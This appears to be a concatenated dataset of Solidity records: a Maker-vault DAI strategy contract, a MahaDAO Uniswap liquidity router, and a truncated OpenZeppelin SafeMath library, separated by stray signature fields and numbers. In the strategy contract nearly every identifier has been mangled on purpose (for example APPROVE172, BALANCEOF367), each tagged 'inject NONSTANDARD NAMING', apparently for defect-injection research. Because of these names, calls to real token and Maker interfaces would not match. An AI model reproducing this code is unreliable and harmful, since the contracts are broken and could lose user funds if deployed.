function OWNS815(uint) external view returns (address); //inject NONSTANDARD NAMING
function URNS226(uint) external view returns (address); //inject NONSTANDARD NAMING
function VAT838() external view returns (address); //inject NONSTANDARD NAMING
function OPEN171(bytes32, address) external returns (uint); //inject NONSTANDARD NAMING
function GIVE370(uint, address) external; //inject NONSTANDARD NAMING
function CDPALLOW83(uint, address, uint) external; //inject NONSTANDARD NAMING
function URNALLOW976(address, uint) external; //inject NONSTANDARD NAMING
function FROB668(uint, int, int) external; //inject NONSTANDARD NAMING
function FLUX641(uint, address, uint) external; //inject NONSTANDARD NAMING
function MOVE446(uint, address, uint) external; //inject NONSTANDARD NAMING
function EXIT270(address, uint, address, uint) external; //inject NONSTANDARD NAMING
function QUIT464(uint, address) external; //inject NONSTANDARD NAMING
function ENTER426(address, uint) external; //inject NONSTANDARD NAMING
function SHIFT772(uint, uint) external; //inject NONSTANDARD NAMING
}
interface VatLike {
function CAN946(address, address) external view returns (uint); //inject NONSTANDARD NAMING
function ILKS43(bytes32) external view returns (uint, uint, uint, uint, uint); //inject NONSTANDARD NAMING
function DAI231(address) external view returns (uint); //inject NONSTANDARD NAMING
function URNS226(bytes32, address) external view returns (uint, uint); //inject NONSTANDARD NAMING
function FROB668(bytes32, address, address, address, int, int) external; //inject NONSTANDARD NAMING
function HOPE968(address) external; //inject NONSTANDARD NAMING
function MOVE446(address, address, uint) external; //inject NONSTANDARD NAMING
}
interface GemJoinLike {
function DEC260() external returns (uint); //inject NONSTANDARD NAMING
function GEM716() external returns (GemLike); //inject NONSTANDARD NAMING
function JOIN168(address, uint) external payable; //inject NONSTANDARD NAMING
function EXIT270(address, uint) external; //inject NONSTANDARD NAMING
}
interface GNTJoinLike {
function BAGS888(address) external view returns (address); //inject NONSTANDARD NAMING
function MAKE918(address) external returns (address); //inject NONSTANDARD NAMING
}
interface DaiJoinLike {
function VAT838() external returns (VatLike); //inject NONSTANDARD NAMING
function DAI231() external returns (GemLike); //inject NONSTANDARD NAMING
function JOIN168(address, uint) external payable; //inject NONSTANDARD NAMING
function EXIT270(address, uint) external; //inject NONSTANDARD NAMING
}
interface HopeLike {
function HOPE968(address) external; //inject NONSTANDARD NAMING
function NOPE673(address) external; //inject NONSTANDARD NAMING
}
interface EndLike {
function FIX740(bytes32) external view returns (uint); //inject NONSTANDARD NAMING
function CASH63(bytes32, uint) external; //inject NONSTANDARD NAMING
function FREE803(bytes32) external; //inject NONSTANDARD NAMING
function PACK489(uint) external; //inject NONSTANDARD NAMING
function SKIM635(bytes32, address) external; //inject NONSTANDARD NAMING
}
interface JugLike {
function DRIP111(bytes32) external returns (uint); //inject NONSTANDARD NAMING
}
interface PotLike {
function PIE0(address) external view returns (uint); //inject NONSTANDARD NAMING
function DRIP111() external returns (uint); //inject NONSTANDARD NAMING
function JOIN168(uint) external; //inject NONSTANDARD NAMING
function EXIT270(uint) external; //inject NONSTANDARD NAMING
}
interface SpotLike {
function ILKS43(bytes32) external view returns (address, uint); //inject NONSTANDARD NAMING
}
interface OSMedianizer {
function READ244() external view returns (uint, bool); //inject NONSTANDARD NAMING
function FORESIGHT875() external view returns (uint, bool); //inject NONSTANDARD NAMING
}
interface Uni {
function SWAPEXACTTOKENSFORTOKENS833(uint, uint, address[] calldata, address, uint) external; //inject NONSTANDARD NAMING
}
contract StrategyMKRVaultDAIDelegate {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public token24 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address constant public want613 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address constant public weth705 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address constant public dai951 = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //inject NONSTANDARD NAMING
address public cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
address public vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
address public mcd_join_eth_a = address(0x2F0b23f53734252Bda2277357e97e1517d6B042A);
address public mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
address public mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
address public jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1);
address constant public eth_price_oracle260 = address(0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1); //inject NONSTANDARD NAMING
address constant public yvaultdai641 = address(0xACd43E627e64355f1861cEC6d3a6688B31a6F952); //inject NONSTANDARD NAMING
address constant public unirouter43 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //inject NONSTANDARD NAMING
uint public c = 20000;
uint public c_safe = 40000;
uint constant public c_base986 = 10000; //inject NONSTANDARD NAMING
uint public performanceFee = 500;
uint constant public performancemax585 = 10000; //inject NONSTANDARD NAMING
uint public withdrawalFee = 50;
uint constant public withdrawalmax723 = 10000; //inject NONSTANDARD NAMING
bytes32 constant public ilk992 = "ETH-A"; //inject NONSTANDARD NAMING
address public governance;
address public controller;
address public strategist;
address public harvester;
uint public cdpId;
constructor(address _controller) public {
governance = msg.sender;
strategist = 0x2839df1F230dedA9fDDBF1BCB0D4eB1Ee1f7b7d0;
harvester = msg.sender;
controller = _controller;
cdpId = ManagerLike(cdp_manager).OPEN171(ilk992, address(this));
_APPROVEALL294();
}
function GETNAME375() external pure returns (string memory) { //inject NONSTANDARD NAMING
return "StrategyMKRVaultDAIDelegate";
}
function SETSTRATEGIST884(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function SETHARVESTER998(address _harvester) external { //inject NONSTANDARD NAMING
require(msg.sender == harvester || msg.sender == governance, "!allowed");
harvester = _harvester;
}
function SETWITHDRAWALFEE880(uint _withdrawalFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
withdrawalFee = _withdrawalFee;
}
function SETPERFORMANCEFEE535(uint _performanceFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function SETBORROWCOLLATERALIZATIONRATIO782(uint _c) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
c = _c;
}
function SETWITHDRAWCOLLATERALIZATIONRATIO286(uint _c_safe) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
c_safe = _c_safe;
}
// optional
function SETMCDVALUE234( //inject NONSTANDARD NAMING
address _manager,
address _ethAdapter,
address _daiAdapter,
address _spot,
address _jug
) external {
require(msg.sender == governance, "!governance");
cdp_manager = _manager;
vat = ManagerLike(_manager).VAT838();
mcd_join_eth_a = _ethAdapter;
mcd_join_dai = _daiAdapter;
mcd_spot = _spot;
jug = _jug;
}
function _APPROVEALL294() internal { //inject NONSTANDARD NAMING
IERC20(token24).APPROVE172(mcd_join_eth_a, uint(-1));
IERC20(dai951).APPROVE172(mcd_join_dai, uint(-1));
IERC20(dai951).APPROVE172(yvaultdai641, uint(-1));
IERC20(dai951).APPROVE172(unirouter43, uint(-1));
}
function DEPOSIT926() public { //inject NONSTANDARD NAMING
uint _token = IERC20(token24).BALANCEOF367(address(this));
if (_token > 0) {
uint p = _GETPRICE756();
uint _draw = _token.MUL745(p).MUL745(c_base986).DIV989(c).DIV989(1e18);
require(_CHECKDEBTCEILING877(_draw), "debt ceiling is reached!");
_LOCKWETHANDDRAWDAI745(_token, _draw);
yVault(yvaultdai641).DEPOSITALL620();
}
}
function _GETPRICE756() internal view returns (uint p) { //inject NONSTANDARD NAMING
(uint _read,) = OSMedianizer(eth_price_oracle260).READ244();
(uint _foresight,) = OSMedianizer(eth_price_oracle260).FORESIGHT875();
p = _foresight < _read ? _foresight : _read;
}
function _CHECKDEBTCEILING877(uint _amt) internal view returns (bool) { //inject NONSTANDARD NAMING
(,,,uint _line,) = VatLike(vat).ILKS43(ilk992);
uint _debt = GETTOTALDEBTAMOUNT152().ADD483(_amt);
if (_line.DIV989(1e27) < _debt) { return false; }
return true;
}
function _LOCKWETHANDDRAWDAI745(uint wad, uint wadD) internal { //inject NONSTANDARD NAMING
address urn = ManagerLike(cdp_manager).URNS226(cdpId);
GemJoinLike(mcd_join_eth_a).JOIN168(urn, wad);
ManagerLike(cdp_manager).FROB668(cdpId, TOINT917(wad), _GETDRAWDART399(urn, wadD));
ManagerLike(cdp_manager).MOVE446(cdpId, address(this), wadD.MUL745(1e27));
if (VatLike(vat).CAN946(address(this), address(mcd_join_dai)) == 0) {
VatLike(vat).HOPE968(mcd_join_dai);
}
DaiJoinLike(mcd_join_dai).EXIT270(address(this), wadD);
}
function _GETDRAWDART399(address urn, uint wad) internal returns (int dart) { //inject NONSTANDARD NAMING
uint rate = JugLike(jug).DRIP111(ilk992);
uint _dai = VatLike(vat).DAI231(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (_dai < wad.MUL745(1e27)) {
dart = TOINT917(wad.MUL745(1e27).SUB518(_dai).DIV989(rate));
dart = uint(dart).MUL745(rate) < wad.MUL745(1e27) ? dart + 1 : dart;
}
}
function TOINT917(uint x) internal pure returns (int y) { //inject NONSTANDARD NAMING
y = int(x);
require(y >= 0, "int-overflow");
}
// Controller only function for creating additional rewards from dust
function WITHDRAW88(IERC20 _asset) external returns (uint balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
require(want613 != address(_asset), "want");
require(dai951 != address(_asset), "dai");
balance = _asset.BALANCEOF367(address(this));
_asset.SAFETRANSFER392(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function WITHDRAW88(uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
uint _balance = IERC20(want613).BALANCEOF367(address(this));
if (_balance < _amount) {
_amount = _WITHDRAWSOME510(_amount.SUB518(_balance));
_amount = _amount.ADD483(_balance);
}
uint _fee = _amount.MUL745(withdrawalFee).DIV989(withdrawalmax723);
IERC20(want613).SAFETRANSFER392(Controller(controller).REWARDS983(), _fee);
address _vault = Controller(controller).VAULTS407(address(want613));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want613).SAFETRANSFER392(_vault, _amount.SUB518(_fee));
}
function SHOULDREBALANCE692() external view returns (bool) { //inject NONSTANDARD NAMING
return GETMVAULTRATIO318() < c_safe.MUL745(1e2);
}
function REBALANCE223() external { //inject NONSTANDARD NAMING
uint safe = c_safe.MUL745(1e2);
if (GETMVAULTRATIO318() < safe) {
uint d = GETTOTALDEBTAMOUNT152();
uint diff = safe.SUB518(GETMVAULTRATIO318());
uint free = d.MUL745(diff).DIV989(safe);
uint p = _GETPRICE756();
_WIPE82(_WITHDRAWDAI331(free.MUL745(p).DIV989(1e18)));
}
}
function FORCEREBALANCE268(uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
uint p = _GETPRICE756();
_WIPE82(_WITHDRAWDAI331(_amount.MUL745(p).DIV989(1e18)));
}
function _WITHDRAWSOME510(uint256 _amount) internal returns (uint) { //inject NONSTANDARD NAMING
uint p = _GETPRICE756();
if (GETMVAULTRATIONEXT436(_amount) < c_safe.MUL745(1e2)) {
_WIPE82(_WITHDRAWDAI331(_amount.MUL745(p).DIV989(1e18)));
}
// _amount in want
_FREEWETH537(_amount);
return _amount;
}
function _FREEWETH537(uint wad) internal { //inject NONSTANDARD NAMING
ManagerLike(cdp_manager).FROB668(cdpId, -TOINT917(wad), 0);
ManagerLike(cdp_manager).FLUX641(cdpId, address(this), wad);
GemJoinLike(mcd_join_eth_a).EXIT270(address(this), wad);
}
function _WIPE82(uint wad) internal { //inject NONSTANDARD NAMING
// wad in DAI
address urn = ManagerLike(cdp_manager).URNS226(cdpId);
DaiJoinLike(mcd_join_dai).JOIN168(urn, wad);
ManagerLike(cdp_manager).FROB668(cdpId, 0, _GETWIPEDART74(VatLike(vat).DAI231(urn), urn));
}
function _GETWIPEDART74( //inject NONSTANDARD NAMING
uint _dai,
address urn
) internal view returns (int dart) {
(, uint rate,,,) = VatLike(vat).ILKS43(ilk992);
(, uint art) = VatLike(vat).URNS226(ilk992, urn);
dart = TOINT917(_dai / rate);
dart = uint(dart) <= art ? - dart : - TOINT917(art);
}
// Withdraw all funds, normally used when migrating strategies
function WITHDRAWALL107() external returns (uint balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
_WITHDRAWALL392();
_SWAP138(IERC20(dai951).BALANCEOF367(address(this)));
balance = IERC20(want613).BALANCEOF367(address(this));
address _vault = Controller(controller).VAULTS407(address(want613));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want613).SAFETRANSFER392(_vault, balance);
}
function _WITHDRAWALL392() internal { //inject NONSTANDARD NAMING
yVault(yvaultdai641).WITHDRAWALL107(); // get Dai
_WIPE82(GETTOTALDEBTAMOUNT152().ADD483(1)); // in case of edge case
_FREEWETH537(BALANCEOFMVAULT489());
}
function BALANCEOF367() public view returns (uint) { //inject NONSTANDARD NAMING
return BALANCEOFWANT874()
.ADD483(BALANCEOFMVAULT489());
}
function BALANCEOFWANT874() public view returns (uint) { //inject NONSTANDARD NAMING
return IERC20(want613).BALANCEOF367(address(this));
}
function BALANCEOFMVAULT489() public view returns (uint) { //inject NONSTANDARD NAMING
uint ink;
address urnHandler = ManagerLike(cdp_manager).URNS226(cdpId);
(ink,) = VatLike(vat).URNS226(ilk992, urnHandler);
return ink;
}
function HARVEST338() public { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == harvester || msg.sender == governance, "!authorized");
uint v = GETUNDERLYINGDAI934(yVault(yvaultdai641).BALANCEOF367(address(this)));
uint d = GETTOTALDEBTAMOUNT152();
require(v > d, "profit is not realized yet!");
uint profit = v.SUB518(d);
_SWAP138(_WITHDRAWDAI331(profit));
uint _want = IERC20(want613).BALANCEOF367(address(this));
if (_want > 0) {
uint _fee = _want.MUL745(performanceFee).DIV989(performancemax585);
IERC20(want613).SAFETRANSFER392(strategist, _fee);
_want = _want.SUB518(_fee);
}
DEPOSIT926();
}
function PAYBACK925(uint _amount) public { //inject NONSTANDARD NAMING
// _amount in Dai
_WIPE82(_WITHDRAWDAI331(_amount));
}
function GETTOTALDEBTAMOUNT152() public view returns (uint) { //inject NONSTANDARD NAMING
uint art;
uint rate;
address urnHandler = ManagerLike(cdp_manager).URNS226(cdpId);
(,art) = VatLike(vat).URNS226(ilk992, urnHandler);
(,rate,,,) = VatLike(vat).ILKS43(ilk992);
return art.MUL745(rate).DIV989(1e27);
}
function GETMVAULTRATIONEXT436(uint amount) public view returns (uint) { //inject NONSTANDARD NAMING
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = GETTOTALDEBTAMOUNT152();
(,,spot,,) = VatLike(vat).ILKS43(ilk992);
(,liquidationRatio) = SpotLike(mcd_spot).ILKS43(ilk992);
uint delayedCPrice = spot.MUL745(liquidationRatio).DIV989(1e27); // ray
uint numerator = (BALANCEOFMVAULT489().SUB518(amount)).MUL745(delayedCPrice).DIV989(1e18); // ray
return numerator.DIV989(denominator).DIV989(1e3);
}
function GETMVAULTRATIO318() public view returns (uint) { //inject NONSTANDARD NAMING
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = GETTOTALDEBTAMOUNT152();
(,,spot,,) = VatLike(vat).ILKS43(ilk992);
(,liquidationRatio) = SpotLike(mcd_spot).ILKS43(ilk992);
uint delayedCPrice = spot.MUL745(liquidationRatio).DIV989(1e27); // ray
uint numerator = BALANCEOFMVAULT489().MUL745(delayedCPrice).DIV989(1e18); // ray
return numerator.DIV989(denominator).DIV989(1e3);
}
function GETUNDERLYINGWITHDRAWALFEE628() public view returns (uint) { //inject NONSTANDARD NAMING
address _strategy = Controller(controller).STRATEGIES225(dai951);
return Strategy(_strategy).WITHDRAWALFEE924();
}
function GETUNDERLYINGDAI934(uint _shares) public view returns (uint) { //inject NONSTANDARD NAMING
return (yVault(yvaultdai641).BALANCE390())
.MUL745(_shares).DIV989(yVault(yvaultdai641).TOTALSUPPLY3())
.MUL745(withdrawalmax723.SUB518(GETUNDERLYINGWITHDRAWALFEE628()))
.DIV989(withdrawalmax723);
}
function _WITHDRAWDAI331(uint _amount) internal returns (uint) { //inject NONSTANDARD NAMING
uint _shares = _amount
.MUL745(yVault(yvaultdai641).TOTALSUPPLY3())
.DIV989(yVault(yvaultdai641).BALANCE390())
.MUL745(withdrawalmax723)
.DIV989(withdrawalmax723.SUB518(GETUNDERLYINGWITHDRAWALFEE628()));
yVault(yvaultdai641).WITHDRAW88(_shares);
return IERC20(dai951).BALANCEOF367(address(this));
}
function _SWAP138(uint _amountIn) internal { //inject NONSTANDARD NAMING
address[] memory path = new address[](2);
path[0] = address(dai951);
path[1] = address(want613);
Uni(unirouter43).SWAPEXACTTOKENSFORTOKENS833(_amountIn, 0, path, address(this), now.ADD483(1 days));
}
function SETGOVERNANCE389(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETCONTROLLER804(address _controller) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
controller = _controller;
}
}
|
inject NONSTANDARD NAMING
|
function QUIT464(uint, address) external;
| 12,996,826
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import {IWETH} from '../ERC20/IWETH.sol';
import {IERC20} from '../ERC20/IERC20.sol';
import {SafeMath} from '../utils/math/SafeMath.sol';
import {TransferHelper} from '../Uniswap/TransferHelper.sol';
import {UniswapV2Library} from '../Uniswap/UniswapV2Library.sol';
import {IUniswapLiquidityRouter} from './IUniswapLiquidityRouter.sol';
import {IUniswapV2Pair} from '../Uniswap/Interfaces/IUniswapV2Pair.sol';
import {IUniswapV2Factory} from '../Uniswap/Interfaces/IUniswapV2Factory.sol';
/**
* @title A Uniswap Router for managing liquidity.
* @author MahaDAO.
*/
contract UniswapLiquidityRouter is IUniswapLiquidityRouter {
using SafeMath for uint256;
/**
* State variables.
*/
IWETH public immutable WETH;
IUniswapV2Factory public immutable FACTORY;
address public arthxAddr;
/**
* Modifier.
*/
modifier ensure(uint256 deadline) {
require(deadline >= block.timestamp, 'UniswapLiquidityRouter: EXPIRED');
_;
}
/**
* Constructor.
*/
constructor(
address arthxAddr_,
IUniswapV2Factory factory,
IWETH weth
) {
arthxAddr = arthxAddr_;
WETH = weth;
FACTORY = factory;
}
/**
* External.
*/
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
(amountA, amountB) = _addLiquidity(
tokenA,
tokenB,
amountADesired,
amountBDesired,
amountAMin,
amountBMin
);
address pair = UniswapV2Library.pairFor(
address(FACTORY),
tokenA,
tokenB
);
TransferHelper.safeTransferFrom(
tokenA,
msg.sender,
address(this),
amountA
);
TransferHelper.safeTransferFrom(
tokenB,
msg.sender,
address(this),
amountB
);
TransferHelper.safeTransfer(tokenA, address(pair), amountA);
TransferHelper.safeTransfer(tokenB, address(pair), amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
(amountToken, amountETH) = _addLiquidity(
token,
address(WETH),
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(
address(FACTORY),
token,
address(WETH)
);
TransferHelper.safeTransferFrom(
token,
msg.sender,
address(this),
amountToken
);
WETH.deposit{value: amountETH}();
TransferHelper.safeTransfer(token, address(pair), amountToken);
assert(WETH.transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// Refund dust eth, if any.
if (msg.value > amountETH)
TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountA, uint256 amountB)
{
address pair = UniswapV2Library.pairFor(
address(FACTORY),
tokenA,
tokenB
);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity);
(uint256 amount0, uint256 amount1) = IUniswapV2Pair(pair).burn(
address(this)
);
(address token0, ) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0
? (amount0, amount1)
: (amount1, amount0);
require(
amountA >= amountAMin,
'UniswapV2Router: INSUFFICIENT_A_AMOUNT'
);
require(
amountB >= amountBMin,
'UniswapV2Router: INSUFFICIENT_B_AMOUNT'
);
TransferHelper.safeTransfer(tokenA, to, amountA);
TransferHelper.safeTransfer(tokenB, to, amountB);
}
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountToken, uint256 amountETH)
{
(amountToken, amountETH) = removeLiquidity(
token,
address(WETH),
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
}
function buyForETH(
address buyToken,
uint256 amountOutMin,
address to,
uint256 deadline
) external payable override ensure(deadline) returns (uint256 amountOut) {
(uint256 reservesBuy, uint256 reservesSell) = _getReserves(
buyToken,
address(WETH)
);
amountOut = UniswapV2Library.getAmountOut(
msg.value,
reservesSell,
reservesBuy
);
require(
amountOut >= amountOutMin,
'UniswapSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'
);
IUniswapV2Pair pair = IUniswapV2Pair(
FACTORY.getPair(address(WETH), buyToken)
);
require(address(pair) != address(0), 'UniswapSwapRouter: INVALID_PAIR');
// Convert sent ETH to wrapped ETH and assert successful transfer to pair.
WETH.deposit{value: msg.value}();
assert(WETH.transfer(address(pair), msg.value));
// Check buyToken balance of recipient before to compare against.
uint256 buyTokenBalanceBefore = IERC20(buyToken).balanceOf(
address(this)
);
// If weth is token0 which means we are selling token0(hence amountOut0 = 0)
(uint256 amount0Out, uint256 amount1Out) = (
address(WETH) == pair.token0()
? (uint256(0), amountOut)
: (amountOut, uint256(0))
);
pair.swap(amount0Out, amount1Out, address(this), new bytes(0));
// Check that ARTH recipient got at least minReward on top of trade amount.
uint256 buyTokenBalanceAfter = IERC20(buyToken).balanceOf(
address(this)
);
uint256 boughtAmount = buyTokenBalanceAfter.sub(buyTokenBalanceBefore);
require(
boughtAmount >= amountOutMin,
'UniswapSwapRouter: NOT_ENOUGHT_AMOUNT_OUT'
);
TransferHelper.safeTransfer(buyToken, to, boughtAmount);
return boughtAmount;
}
function buyForERC20(
address buyToken,
address sellToken,
uint256 amountIn,
uint256 amountOutMin,
address to,
uint256 deadline
) external override ensure(deadline) returns (uint256 amountOut) {
require(sellToken != arthxAddr, 'Router: ONLY_BUY_POSSIBLE');
(uint256 reservesBuy, uint256 reservesSell) = _getReserves(
buyToken,
sellToken
);
amountOut = UniswapV2Library.getAmountOut(
amountIn,
reservesSell,
reservesBuy
);
require(
amountOut >= amountOutMin,
'UniswapSwapRouter: Insufficient output amount'
);
IUniswapV2Pair pair = IUniswapV2Pair(
FACTORY.getPair(buyToken, sellToken)
);
require(address(pair) != address(0), 'UniswapSwapRouter: INVALID_PAIR');
require(
IERC20(sellToken).balanceOf(msg.sender) >= amountIn,
'UniswapSwapRouter: amount < required'
);
TransferHelper.safeTransferFrom(
sellToken,
msg.sender,
address(pair),
amountIn
);
uint256 buyTokenBalanceBefore = IERC20(buyToken).balanceOf(
address(this)
);
(uint256 amount0Out, uint256 amount1Out) = sellToken == pair.token0()
? (uint256(0), amountOut)
: (amountOut, uint256(0));
pair.swap(amount0Out, amount1Out, address(this), new bytes(0));
// Check that ARTH recipient got at least minReward on top of trade amount.
uint256 buyTokenBalanceAfter = IERC20(buyToken).balanceOf(
address(this)
);
require(
buyTokenBalanceAfter.sub(buyTokenBalanceBefore) >= amountOutMin,
'UniswapSwapRouter: NOT_ENOUGHT_AMOUNT_OUT'
);
TransferHelper.safeTransfer(
buyToken,
to,
buyTokenBalanceAfter.sub(buyTokenBalanceBefore)
);
return buyTokenBalanceAfter.sub(buyTokenBalanceBefore);
}
/**
* Internal.
*/
function _addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) internal virtual returns (uint256 amountA, uint256 amountB) {
// Create the pair if it doesn't exist yet.
if (IUniswapV2Factory(FACTORY).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(FACTORY).createPair(tokenA, tokenB);
}
(uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(
address(FACTORY),
tokenA,
tokenB
);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint256 amountBOptimal = UniswapV2Library.quote(
amountADesired,
reserveA,
reserveB
);
if (amountBOptimal <= amountBDesired) {
require(
amountBOptimal >= amountBMin,
'UniswapLiquidityRouter: INSUFFICIENT AMOUNT B'
);
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint256 amountAOptimal = UniswapV2Library.quote(
amountBDesired,
reserveB,
reserveA
);
assert(amountAOptimal <= amountADesired);
require(
amountAOptimal >= amountAMin,
'UniswapLiquidityRouter: INSUFFICIENT AMOUNT A'
);
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function _getReserves(address buyToken, address sellToken)
internal
view
returns (uint256, uint256)
{
IUniswapV2Pair pair = IUniswapV2Pair(
FACTORY.getPair(buyToken, sellToken)
);
require(address(pair) != address(0), 'UniswapSwapRouter: INVALID_PAIR');
// Make sure that we only buy tokens.
require(sellToken != arthxAddr, 'Router: ONLY_BUY_POSSIBLE');
(uint256 reserves0, uint256 reserves1, ) = pair.getReserves();
(uint256 buyTokenReserve, uint256 sellTokenReserve) = (
buyToken == pair.token0()
? (reserves0, reserves1)
: (reserves1, reserves0)
);
return (buyTokenReserve, sellTokenReserve);
}
}
|
* State variables./* Modifier./
|
modifier ensure(uint256 deadline) {
require(deadline >= block.timestamp, 'UniswapLiquidityRouter: EXPIRED');
_;
}
constructor(
address arthxAddr_,
IUniswapV2Factory factory,
IWETH weth
| 13,128,920
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pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
